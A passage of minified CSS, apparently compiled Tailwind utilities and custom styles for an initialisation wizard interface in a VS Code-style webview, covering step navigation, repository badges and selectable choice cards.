var(--tw-drop-shadow,)}.filter{filter:var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) var(--tw-drop-shadow,)}.backdrop-blur{--tw-backdrop-blur:blur(8px);-webkit-backdrop-filter:var(--tw-backdrop-blur,) var(--tw-backdrop-brightness,) var(--tw-backdrop-contrast,) var(--tw-backdrop-grayscale,) var(--tw-backdrop-hue-rotate,) var(--tw-backdrop-invert,) var(--tw-backdrop-opacity,) var(--tw-backdrop-saturate,) var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,) var(--tw-backdrop-brightness,) var(--tw-backdrop-contrast,) var(--tw-backdrop-grayscale,) var(--tw-backdrop-hue-rotate,) var(--tw-backdrop-invert,) var(--tw-backdrop-opacity,) var(--tw-backdrop-saturate,) var(--tw-backdrop-sepia,)}.transition-\[color\,box-shadow\]{transition-property:color,box-shadow;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-all{transition-property:all;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-colors{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.outline-none{--tw-outline-style:none;outline-style:none}.select-none{-webkit-user-select:none;user-select:none}.paused{animation-play-state:paused}.running{animation-play-state:running}.group-has-\[\>svg\]\/alert\:col-start-2:is(:where(.group\/alert):has(>svg) *){grid-column-start:2}.group-data-\[orientation\=horizontal\]\/tabs\:h-8:is(:where(.group\/tabs)[data-orientation=horizontal] *){height:calc(var(--spacing) * 8)}.group-data-\[orientation\=vertical\]\/tabs\:h-fit:is(:where(.group\/tabs)[data-orientation=vertical] *){height:fit-content}.group-data-\[orientation\=vertical\]\/tabs\:w-full:is(:where(.group\/tabs)[data-orientation=vertical] *){width:100%}.group-data-\[orientation\=vertical\]\/tabs\:flex-col:is(:where(.group\/tabs)[data-orientation=vertical] *){flex-direction:column}.group-data-\[orientation\=vertical\]\/tabs\:justify-start:is(:where(.group\/tabs)[data-orientation=vertical] *){justify-content:flex-start}.group-data-\[spacing\=0\]\/toggle-group\:rounded-none:is(:where(.group\/toggle-group)[data-spacing="0"] *){border-radius:0}.group-data-\[spacing\=0\]\/toggle-group\:px-2:is(:where(.group\/toggle-group)[data-spacing="0"] *){padding-inline:calc(var(--spacing) * 2)}.group-data-\[variant\=line\]\/tabs-list\:bg-transparent:is(:where(.group\/tabs-list)[data-variant=line] *){background-color:#0000}.file\:inline-flex::file-selector-button{display:inline-flex}.file\:h-6::file-selector-button{height:calc(var(--spacing) * 6)}.file\:border-0::file-selector-button{border-style:var(--tw-border-style);border-width:0}.file\:bg-transparent::file-selector-button{background-color:#0000}.file\:text-sm::file-selector-button{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.file\:font-medium::file-selector-button{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.file\:text-foreground::file-selector-button{color:var(--foreground)}.placeholder\:text-muted-foreground::placeholder{color:var(--muted-foreground)}.after\:absolute:after{content:var(--tw-content);position:absolute}.after\:bg-foreground:after{content:var(--tw-content);background-color:var(--foreground)}.after\:opacity-0:after{content:var(--tw-content);opacity:0}.after\:transition-opacity:after{content:var(--tw-content);transition-property:opacity;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.group-data-\[orientation\=horizontal\]\/tabs\:after\:inset-x-0:is(:where(.group\/tabs)[data-orientation=horizontal] *):after{content:var(--tw-content);inset-inline:0}.group-data-\[orientation\=horizontal\]\/tabs\:after\:bottom-\[-5px\]:is(:where(.group\/tabs)[data-orientation=horizontal] *):after{content:var(--tw-content);bottom:-5px}.group-data-\[orientation\=horizontal\]\/tabs\:after\:h-0\.5:is(:where(.group\/tabs)[data-orientation=horizontal] *):after{content:var(--tw-content);height:calc(var(--spacing) * .5)}.group-data-\[orientation\=vertical\]\/tabs\:after\:inset-y-0:is(:where(.group\/tabs)[data-orientation=vertical] *):after{content:var(--tw-content);inset-block:0}.group-data-\[orientation\=vertical\]\/tabs\:after\:-right-1:is(:where(.group\/tabs)[data-orientation=vertical] *):after{content:var(--tw-content);right:calc(var(--spacing) * -1)}.group-data-\[orientation\=vertical\]\/tabs\:after\:w-0\.5:is(:where(.group\/tabs)[data-orientation=vertical] *):after{content:var(--tw-content);width:calc(var(--spacing) * .5)}@media(hover:hover){.hover\:bg-\[color-mix\(in_oklch\,var\(--secondary\)\,var\(--foreground\)_5\%\)\]:hover{background-color:var(--secondary)}@supports (color:color-mix(in lab,red,red)){.hover\:bg-\[color-mix\(in_oklch\,var\(--secondary\)\,var\(--foreground\)_5\%\)\]:hover{background-color:color-mix(in oklch,var(--secondary),var(--foreground) 5%)}}.hover\:bg-destructive\/20:hover{background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.hover\:bg-destructive\/20:hover{background-color:color-mix(in oklab,var(--destructive) 20%,transparent)}}.hover\:bg-muted:hover{background-color:var(--muted)}.hover\:bg-primary\/80:hover{background-color:var(--primary)}@supports (color:color-mix(in lab,red,red)){.hover\:bg-primary\/80:hover{background-color:color-mix(in oklab,var(--primary) 80%,transparent)}}.hover\:text-foreground:hover{color:var(--foreground)}.hover\:text-muted-foreground:hover{color:var(--muted-foreground)}.hover\:underline:hover{text-decoration-line:underline}}.focus\:z-10:focus,.focus-visible\:z-10:focus-visible{z-index:10}.focus-visible\:border-destructive\/40:focus-visible{border-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.focus-visible\:border-destructive\/40:focus-visible{border-color:color-mix(in oklab,var(--destructive) 40%,transparent)}}.focus-visible\:border-ring:focus-visible{border-color:var(--ring)}.focus-visible\:ring-3:focus-visible,.focus-visible\:ring-\[3px\]:focus-visible{--tw-ring-shadow:var(--tw-ring-inset,) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.focus-visible\:ring-destructive\/20:focus-visible{--tw-ring-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.focus-visible\:ring-destructive\/20:focus-visible{--tw-ring-color:color-mix(in oklab, var(--destructive) 20%, transparent)}}.focus-visible\:ring-ring\/50:focus-visible{--tw-ring-color:var(--ring)}@supports (color:color-mix(in lab,red,red)){.focus-visible\:ring-ring\/50:focus-visible{--tw-ring-color:color-mix(in oklab, var(--ring) 50%, transparent)}}.focus-visible\:outline-1:focus-visible{outline-style:var(--tw-outline-style);outline-width:1px}.focus-visible\:outline-ring:focus-visible{outline-color:var(--ring)}.active\:not-aria-\[haspopup\]\:translate-y-px:active:not([aria-haspopup]){--tw-translate-y:1px;translate:var(--tw-translate-x) var(--tw-translate-y)}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:bg-input\/50:disabled{background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.disabled\:bg-input\/50:disabled{background-color:color-mix(in oklab,var(--input) 50%,transparent)}}.disabled\:opacity-50:disabled{opacity:.5}:where([data-slot=button-group]) .in-data-\[slot\=button-group\]\:rounded-lg{border-radius:var(--radius)}.has-data-\[icon\=inline-end\]\:pr-1:has([data-icon=inline-end]){padding-right:var(--spacing)}.has-data-\[icon\=inline-end\]\:pr-1\.5:has([data-icon=inline-end]){padding-right:calc(var(--spacing) * 1.5)}.has-data-\[icon\=inline-end\]\:pr-2:has([data-icon=inline-end]){padding-right:calc(var(--spacing) * 2)}.group-data-\[spacing\=0\]\/toggle-group\:has-data-\[icon\=inline-end\]\:pr-1\.5:is(:where(.group\/toggle-group)[data-spacing="0"] *):has([data-icon=inline-end]){padding-right:calc(var(--spacing) * 1.5)}.has-data-\[icon\=inline-start\]\:pl-1:has([data-icon=inline-start]){padding-left:var(--spacing)}.has-data-\[icon\=inline-start\]\:pl-1\.5:has([data-icon=inline-start]){padding-left:calc(var(--spacing) * 1.5)}.has-data-\[icon\=inline-start\]\:pl-2:has([data-icon=inline-start]){padding-left:calc(var(--spacing) * 2)}.group-data-\[spacing\=0\]\/toggle-group\:has-data-\[icon\=inline-start\]\:pl-1\.5:is(:where(.group\/toggle-group)[data-spacing="0"] *):has([data-icon=inline-start]){padding-left:calc(var(--spacing) * 1.5)}.has-data-\[slot\=alert-action\]\:relative:has([data-slot=alert-action]){position:relative}.has-data-\[slot\=alert-action\]\:pr-18:has([data-slot=alert-action]){padding-right:calc(var(--spacing) * 18)}.has-data-\[slot\=kbd\]\:pr-1\.5:has([data-slot=kbd]){padding-right:calc(var(--spacing) * 1.5)}.has-\[\>svg\]\:grid-cols-\[auto_1fr\]:has(>svg){grid-template-columns:auto 1fr}.has-\[\>svg\]\:gap-x-2:has(>svg){column-gap:calc(var(--spacing) * 2)}.aria-expanded\:bg-muted[aria-expanded=true]{background-color:var(--muted)}.aria-expanded\:bg-secondary[aria-expanded=true]{background-color:var(--secondary)}.aria-expanded\:text-foreground[aria-expanded=true]{color:var(--foreground)}.aria-expanded\:text-secondary-foreground[aria-expanded=true]{color:var(--secondary-foreground)}.aria-invalid\:border-destructive[aria-invalid=true]{border-color:var(--destructive)}.aria-invalid\:ring-3[aria-invalid=true]{--tw-ring-shadow:var(--tw-ring-inset,) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.aria-invalid\:ring-destructive\/20[aria-invalid=true]{--tw-ring-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.aria-invalid\:ring-destructive\/20[aria-invalid=true]{--tw-ring-color:color-mix(in oklab, var(--destructive) 20%, transparent)}}.aria-pressed\:bg-muted[aria-pressed=true]{background-color:var(--muted)}.data-closed\:animate-out[data-closed]{animation:exit var(--tw-animation-duration,var(--tw-duration,.15s))var(--tw-ease,ease)var(--tw-animation-delay,0s)var(--tw-animation-iteration-count,1)var(--tw-animation-direction,normal)var(--tw-animation-fill-mode,none)}.data-closed\:fade-out-0[data-closed]{--tw-exit-opacity:0}.data-closed\:zoom-out-95[data-closed]{--tw-exit-scale:.95}.data-horizontal\:h-2\.5[data-horizontal]{height:calc(var(--spacing) * 2.5)}.data-horizontal\:h-px[data-horizontal]{height:1px}.data-horizontal\:w-full[data-horizontal]{width:100%}.data-horizontal\:flex-col[data-horizontal]{flex-direction:column}.data-horizontal\:border-t[data-horizontal]{border-top-style:var(--tw-border-style);border-top-width:1px}.data-horizontal\:border-t-transparent[data-horizontal]{border-top-color:#0000}.data-open\:animate-in[data-open]{animation:enter var(--tw-animation-duration,var(--tw-duration,.15s))var(--tw-ease,ease)var(--tw-animation-delay,0s)var(--tw-animation-iteration-count,1)var(--tw-animation-direction,normal)var(--tw-animation-fill-mode,none)}.data-open\:fade-in-0[data-open]{--tw-enter-opacity:0}.data-open\:zoom-in-95[data-open]{--tw-enter-scale:.95}.data-vertical\:h-full[data-vertical]{height:100%}.data-vertical\:w-2\.5[data-vertical]{width:calc(var(--spacing) * 2.5)}.data-vertical\:w-px[data-vertical]{width:1px}.data-vertical\:flex-col[data-vertical]{flex-direction:column}.data-vertical\:items-stretch[data-vertical]{align-items:stretch}.data-vertical\:self-stretch[data-vertical]{align-self:stretch}.data-vertical\:border-l[data-vertical]{border-left-style:var(--tw-border-style);border-left-width:1px}.data-vertical\:border-l-transparent[data-vertical]{border-left-color:#0000}.data-\[orientation\=horizontal\]\:flex-col[data-orientation=horizontal]{flex-direction:column}.data-\[side\=bottom\]\:slide-in-from-top-2[data-side=bottom]{--tw-enter-translate-y:calc(2*var(--spacing)*-1)}.data-\[side\=left\]\:slide-in-from-right-2[data-side=left]{--tw-enter-translate-x:calc(2*var(--spacing))}.data-\[side\=right\]\:slide-in-from-left-2[data-side=right]{--tw-enter-translate-x:calc(2*var(--spacing)*-1)}.data-\[side\=top\]\:slide-in-from-bottom-2[data-side=top]{--tw-enter-translate-y:calc(2*var(--spacing))}.data-\[size\=sm\]\:rounded-\[min\(var\(--radius-md\)\,10px\)\][data-size=sm]{border-radius:min(var(--radius-md),10px)}:is(.\*\:data-\[slot\=alert-description\]\:text-destructive\/90>*)[data-slot=alert-description]{color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){:is(.\*\:data-\[slot\=alert-description\]\:text-destructive\/90>*)[data-slot=alert-description]{color:color-mix(in oklab,var(--destructive) 90%,transparent)}}:is(.\*\*\:data-\[slot\=kbd\]\:relative *)[data-slot=kbd]{position:relative}:is(.\*\*\:data-\[slot\=kbd\]\:isolate *)[data-slot=kbd]{isolation:isolate}:is(.\*\*\:data-\[slot\=kbd\]\:z-50 *)[data-slot=kbd]{z-index:50}:is(.\*\*\:data-\[slot\=kbd\]\:rounded-sm *)[data-slot=kbd]{border-radius:calc(var(--radius) - 4px)}.group-data-horizontal\/toggle-group\:data-\[spacing\=0\]\:first\:rounded-l-lg:is(:where(.group\/toggle-group)[data-horizontal] *)[data-spacing="0"]:first-child{border-top-left-radius:var(--radius);border-bottom-left-radius:var(--radius)}.group-data-vertical\/toggle-group\:data-\[spacing\=0\]\:first\:rounded-t-lg:is(:where(.group\/toggle-group)[data-vertical] *)[data-spacing="0"]:first-child{border-top-left-radius:var(--radius);border-top-right-radius:var(--radius)}.group-data-horizontal\/toggle-group\:data-\[spacing\=0\]\:last\:rounded-r-lg:is(:where(.group\/toggle-group)[data-horizontal] *)[data-spacing="0"]:last-child{border-top-right-radius:var(--radius);border-bottom-right-radius:var(--radius)}.group-data-vertical\/toggle-group\:data-\[spacing\=0\]\:last\:rounded-b-lg:is(:where(.group\/toggle-group)[data-vertical] *)[data-spacing="0"]:last-child{border-bottom-right-radius:var(--radius);border-bottom-left-radius:var(--radius)}.data-\[state\=active\]\:bg-background[data-state=active]{background-color:var(--background)}.data-\[state\=active\]\:text-foreground[data-state=active]{color:var(--foreground)}.group-data-\[variant\=default\]\/tabs-list\:data-\[state\=active\]\:shadow-sm:is(:where(.group\/tabs-list)[data-variant=default] *)[data-state=active]{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a), 0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:bg-transparent:is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]{background-color:#0000}.group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:shadow-none:is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]{--tw-shadow:0 0 #0000;box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:after\:opacity-100:is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]:after{content:var(--tw-content);opacity:1}.data-\[state\=delayed-open\]\:animate-in[data-state=delayed-open]{animation:enter var(--tw-animation-duration,var(--tw-duration,.15s))var(--tw-ease,ease)var(--tw-animation-delay,0s)var(--tw-animation-iteration-count,1)var(--tw-animation-direction,normal)var(--tw-animation-fill-mode,none)}.data-\[state\=delayed-open\]\:fade-in-0[data-state=delayed-open]{--tw-enter-opacity:0}.data-\[state\=delayed-open\]\:zoom-in-95[data-state=delayed-open]{--tw-enter-scale:.95}.data-\[state\=on\]\:bg-muted[data-state=on]{background-color:var(--muted)}.data-\[variant\=line\]\:rounded-none[data-variant=line]{border-radius:0}.group-data-horizontal\/toggle-group\:data-\[spacing\=0\]\:data-\[variant\=outline\]\:border-l-0:is(:where(.group\/toggle-group)[data-horizontal] *)[data-spacing="0"][data-variant=outline]{border-left-style:var(--tw-border-style);border-left-width:0}.group-data-vertical\/toggle-group\:data-\[spacing\=0\]\:data-\[variant\=outline\]\:border-t-0:is(:where(.group\/toggle-group)[data-vertical] *)[data-spacing="0"][data-variant=outline]{border-top-style:var(--tw-border-style);border-top-width:0}.group-data-horizontal\/toggle-group\:data-\[spacing\=0\]\:data-\[variant\=outline\]\:first\:border-l:is(:where(.group\/toggle-group)[data-horizontal] *)[data-spacing="0"][data-variant=outline]:first-child{border-left-style:var(--tw-border-style);border-left-width:1px}.group-data-vertical\/toggle-group\:data-\[spacing\=0\]\:data-\[variant\=outline\]\:first\:border-t:is(:where(.group\/toggle-group)[data-vertical] *)[data-spacing="0"][data-variant=outline]:first-child{border-top-style:var(--tw-border-style);border-top-width:1px}@media(min-width:48rem){.md\:text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.md\:text-pretty{text-wrap:pretty}}.dark\:border-input:is(.dark *){border-color:var(--input)}.dark\:bg-destructive\/20:is(.dark *){background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:bg-destructive\/20:is(.dark *){background-color:color-mix(in oklab,var(--destructive) 20%,transparent)}}.dark\:bg-input\/30:is(.dark *){background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.dark\:bg-input\/30:is(.dark *){background-color:color-mix(in oklab,var(--input) 30%,transparent)}}.dark\:text-muted-foreground:is(.dark *){color:var(--muted-foreground)}@media(hover:hover){.dark\:hover\:bg-destructive\/30:is(.dark *):hover{background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:hover\:bg-destructive\/30:is(.dark *):hover{background-color:color-mix(in oklab,var(--destructive) 30%,transparent)}}.dark\:hover\:bg-input\/50:is(.dark *):hover{background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.dark\:hover\:bg-input\/50:is(.dark *):hover{background-color:color-mix(in oklab,var(--input) 50%,transparent)}}.dark\:hover\:bg-muted\/50:is(.dark *):hover{background-color:var(--muted)}@supports (color:color-mix(in lab,red,red)){.dark\:hover\:bg-muted\/50:is(.dark *):hover{background-color:color-mix(in oklab,var(--muted) 50%,transparent)}}.dark\:hover\:text-foreground:is(.dark *):hover{color:var(--foreground)}}.dark\:focus-visible\:ring-destructive\/40:is(.dark *):focus-visible{--tw-ring-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:focus-visible\:ring-destructive\/40:is(.dark *):focus-visible{--tw-ring-color:color-mix(in oklab, var(--destructive) 40%, transparent)}}.dark\:disabled\:bg-input\/80:is(.dark *):disabled{background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.dark\:disabled\:bg-input\/80:is(.dark *):disabled{background-color:color-mix(in oklab,var(--input) 80%,transparent)}}.dark\:aria-invalid\:border-destructive\/50:is(.dark *)[aria-invalid=true]{border-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:aria-invalid\:border-destructive\/50:is(.dark *)[aria-invalid=true]{border-color:color-mix(in oklab,var(--destructive) 50%,transparent)}}.dark\:aria-invalid\:ring-destructive\/40:is(.dark *)[aria-invalid=true]{--tw-ring-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.dark\:aria-invalid\:ring-destructive\/40:is(.dark *)[aria-invalid=true]{--tw-ring-color:color-mix(in oklab, var(--destructive) 40%, transparent)}}.dark\:data-\[state\=active\]\:border-input:is(.dark *)[data-state=active]{border-color:var(--input)}.dark\:data-\[state\=active\]\:bg-input\/30:is(.dark *)[data-state=active]{background-color:var(--input)}@supports (color:color-mix(in lab,red,red)){.dark\:data-\[state\=active\]\:bg-input\/30:is(.dark *)[data-state=active]{background-color:color-mix(in oklab,var(--input) 30%,transparent)}}.dark\:data-\[state\=active\]\:text-foreground:is(.dark *)[data-state=active]{color:var(--foreground)}.dark\:group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:border-transparent:is(.dark *):is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]{border-color:#0000}.dark\:group-data-\[variant\=line\]\/tabs-list\:data-\[state\=active\]\:bg-transparent:is(.dark *):is(:where(.group\/tabs-list)[data-variant=line] *)[data-state=active]{background-color:#0000}.\[\&_a\]\:underline a{text-decoration-line:underline}.\[\&_a\]\:underline-offset-3 a{text-underline-offset:3px}@media(hover:hover){.\[\&_a\]\:hover\:text-foreground a:hover{color:var(--foreground)}}.\[\&_p\:not\(\:last-child\)\]\:mb-4 p:not(:last-child){margin-bottom:calc(var(--spacing) * 4)}.\[\&_svg\]\:pointer-events-none svg{pointer-events:none}.\[\&_svg\]\:shrink-0 svg{flex-shrink:0}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-3 svg:not([class*=size-]){width:calc(var(--spacing) * 3);height:calc(var(--spacing) * 3)}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-3\.5 svg:not([class*=size-]){width:calc(var(--spacing) * 3.5);height:calc(var(--spacing) * 3.5)}.\[\&_svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-4 svg:not([class*=size-]){width:calc(var(--spacing) * 4);height:calc(var(--spacing) * 4)}@media(hover:hover){.\[a\]\:hover\:bg-destructive\/20:is(a):hover{background-color:var(--destructive)}@supports (color:color-mix(in lab,red,red)){.\[a\]\:hover\:bg-destructive\/20:is(a):hover{background-color:color-mix(in oklab,var(--destructive) 20%,transparent)}}.\[a\]\:hover\:bg-muted:is(a):hover{background-color:var(--muted)}.\[a\]\:hover\:bg-primary\/80:is(a):hover{background-color:var(--primary)}@supports (color:color-mix(in lab,red,red)){.\[a\]\:hover\:bg-primary\/80:is(a):hover{background-color:color-mix(in oklab,var(--primary) 80%,transparent)}}.\[a\]\:hover\:bg-secondary\/80:is(a):hover{background-color:var(--secondary)}@supports (color:color-mix(in lab,red,red)){.\[a\]\:hover\:bg-secondary\/80:is(a):hover{background-color:color-mix(in oklab,var(--secondary) 80%,transparent)}}.\[a\]\:hover\:text-muted-foreground:is(a):hover{color:var(--muted-foreground)}}:is(.\*\:\[svg\]\:row-span-2>*):is(svg){grid-row:span 2/span 2}:is(.\*\:\[svg\]\:translate-y-0\.5>*):is(svg){--tw-translate-y:calc(var(--spacing) * .5);translate:var(--tw-translate-x) var(--tw-translate-y)}:is(.\*\:\[svg\]\:text-current>*):is(svg){color:currentColor}:is(.\*\:\[svg\:not\(\[class\*\=\'size-\'\]\)\]\:size-4>*):is(svg:not([class*=size-])){width:calc(var(--spacing) * 4);height:calc(var(--spacing) * 4)}.\[\&\>svg\]\:pointer-events-none>svg{pointer-events:none}.\[\&\>svg\]\:size-3\!>svg{width:calc(var(--spacing) * 3)!important;height:calc(var(--spacing) * 3)!important}}@property --tw-animation-delay{syntax:"*";inherits:false;initial-value:0s}@property --tw-animation-direction{syntax:"*";inherits:false;initial-value:normal}@property --tw-animation-duration{syntax:"*";inherits:false}@property --tw-animation-fill-mode{syntax:"*";inherits:false;initial-value:none}@property --tw-animation-iteration-count{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-blur{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-opacity{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-rotate{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-scale{syntax:"*";inherits:false;initial-value:1}@property --tw-enter-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-enter-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-blur{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-opacity{syntax:"*";inherits:false;initial-value:1}@property --tw-exit-rotate{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-scale{syntax:"*";inherits:false;initial-value:1}@property --tw-exit-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-exit-translate-y{syntax:"*";inherits:false;initial-value:0}.init-shell{box-sizing:border-box;background:linear-gradient(var(--compass-grid) 1px,transparent 1px),linear-gradient(90deg,var(--compass-grid) 1px,transparent 1px),var(--background);height:100vh;min-height:100vh;color:var(--foreground);background-size:32px 32px;padding:clamp(28px,5vw,72px);overflow:auto}.init-header,.init-progress-header{justify-content:space-between;align-items:flex-end;gap:28px;width:min(1080px,100%);margin:0 auto clamp(26px,4vw,46px);display:flex}.init-eyebrow{color:var(--compass-focus);font:600 11px/1.3 var(--compass-font-mono);letter-spacing:.12em;text-transform:uppercase;margin:0 0 8px}.init-header h1,.init-progress-header h1,.init-result-card h1{color:var(--foreground);font:600 clamp(28px,4vw,44px)/1.08 var(--compass-font-sans);letter-spacing:-.035em;margin:0}.init-header-copy,.init-progress-header p:not(.init-eyebrow),.init-result-card>p:not(.init-eyebrow){max-width:650px;color:var(--muted-foreground);margin:13px 0 0;font-size:14px;line-height:1.65}.init-repository-badge{border:1px solid var(--compass-line);background:var(--vscode-editorWidget-background,var(--compass-panel));border-radius:5px;align-items:center;gap:11px;min-width:190px;max-width:320px;padding:11px 13px;display:flex}.init-repository-badge>svg{width:16px;color:var(--compass-focus)}.init-repository-badge span{min-width:0}.init-repository-badge small,.init-repository-badge strong{display:block}.init-repository-badge small{color:var(--compass-faint);font:10px/1.2 var(--compass-font-mono);text-transform:uppercase;margin-bottom:2px}.init-repository-badge strong{text-overflow:ellipsis;white-space:nowrap;font-size:12px;overflow:hidden}.init-layout{border:1px solid var(--compass-line-strong);background:var(--vscode-editorWidget-background,var(--compass-panel));width:min(1080px,100%);min-height:520px;box-shadow:0 22px 55px var(--vscode-widget-shadow,#0000003d);border-radius:7px;grid-template-columns:245px minmax(0,1fr);margin:0 auto;display:grid;overflow:hidden}.init-step-nav{border-right:1px solid var(--compass-line);background:var(--compass-panel);flex-direction:column;justify-content:space-between;min-width:0;padding:27px 20px 20px;display:flex}@supports (color:color-mix(in lab,red,red)){.init-step-nav{background:color-mix(in srgb,var(--compass-panel) 88%,var(--compass-canvas))}}.init-step-nav ol,.init-runway,.init-rule-list{margin:0;padding:0;list-style:none}.init-step-nav li{padding-bottom:10px;position:relative}.init-step-nav li:not(:last-child):after{background:var(--compass-line);content:"";width:1px;position:absolute;top:34px;bottom:-1px;left:15px}.init-step-nav li[data-state=complete]:after{background:var(--compass-success)}@supports (color:color-mix(in lab,red,red)){.init-step-nav li[data-state=complete]:after{background:color-mix(in srgb,var(--compass-success) 62%,var(--compass-line))}}.init-step-nav button{width:100%;color:var(--muted-foreground);text-align:left;background:0 0;border:0;border-radius:4px;align-items:center;gap:11px;padding:7px;display:flex}.init-step-nav button:not(:disabled):hover{background:var(--workbench-hover);color:var(--foreground)}.init-step-nav button:focus-visible{outline:2px solid var(--compass-focus);outline-offset:1px}.init-step-marker{z-index:1;border:1px solid var(--compass-line-strong);background:var(--compass-panel);border-radius:50%;flex:0 0 30px;place-items:center;width:30px;height:30px;display:grid}.init-step-marker svg{width:13px;height:13px}.init-step-nav li[data-state=active] button{color:var(--foreground)}.init-step-nav li[data-state=active] .init-step-marker{border-color:var(--compass-focus);background:var(--compass-focus-soft);color:var(--compass-focus);box-shadow:0 0 0 4px var(--compass-focus-soft)}.init-step-nav li[data-state=complete] .init-step-marker{border-color:var(--compass-success);color:var(--compass-success)}.init-step-nav button small,.init-step-nav button strong{display:block}.init-step-nav button small{color:var(--compass-faint);font:9px/1.2 var(--compass-font-mono);letter-spacing:.06em;text-transform:uppercase;margin-bottom:2px}.init-step-nav button strong{font-size:12px;font-weight:550}.init-local-note{border:1px solid var(--compass-line);background:var(--compass-focus);border-radius:5px;align-items:flex-start;gap:9px;padding:12px;display:flex}@supports (color:color-mix(in lab,red,red)){.init-local-note{background:color-mix(in srgb,var(--compass-focus) 6%,transparent)}}.init-local-note>svg{width:14px;color:var(--compass-focus);flex:0 0 14px}.init-local-note p{color:var(--muted-foreground);margin:0;font-size:10px;line-height:1.5}.init-local-note strong,.init-local-note code{display:block}.init-local-note strong{color:var(--foreground);margin-bottom:2px;font-size:10px}.init-local-note code{color:var(--compass-focus);font-family:var(--compass-font-mono);margin-top:4px}.init-stage{flex-direction:column;min-width:0;padding:clamp(28px,5vw,52px);display:flex}.init-stage-heading{align-items:flex-start;gap:16px;margin-bottom:28px;display:flex}.init-stage-heading>span{color:var(--compass-focus);font:600 11px/1 var(--compass-font-mono);padding-top:5px}.init-stage-heading h2{color:var(--foreground);font:600 clamp(21px,3vw,28px)/1.2 var(--compass-font-sans);letter-spacing:-.025em;margin:0}.init-stage-heading p{color:var(--muted-foreground);margin:8px 0 0;font-size:12px;line-height:1.55}.init-scope-grid,.init-fields{grid-template-columns:repeat(2,minmax(0,1fr));gap:13px;display:grid}.init-choice{border:1px solid var(--compass-line);background:var(--vscode-input-background,var(--background));cursor:pointer;border-radius:6px;align-items:flex-start;gap:12px;min-height:125px;padding:18px;display:flex;position:relative}.init-choice:hover{border-color:var(--compass-focus)}@supports (color:color-mix(in lab,red,red)){.init-choice:hover{border-color:color-mix(in srgb,var(--compass-focus) 48%,var(--compass-line))}}.init-choice[data-selected=true]{border-color:var(--compass-focus);background:var(--compass-focus-soft);box-shadow:inset 0 0 0 1px var(--compass-focus)}@supports (color:color-mix(in lab,red,red)){.init-choice[data-selected=true]{box-shadow:inset 0 0 0 1px color-mix(in srgb,var(--compass-focus) 30%,transparent)}}.init-choice input{opacity:0;width:1px;height:1px;position:absolute}.init-choice:has(input:focus-visible){outline:2px solid var(--compass-focus);outline-offset:2px}.init-choice-radio{width:20px;height:20px;color:var(--compass-faint);flex:0 0 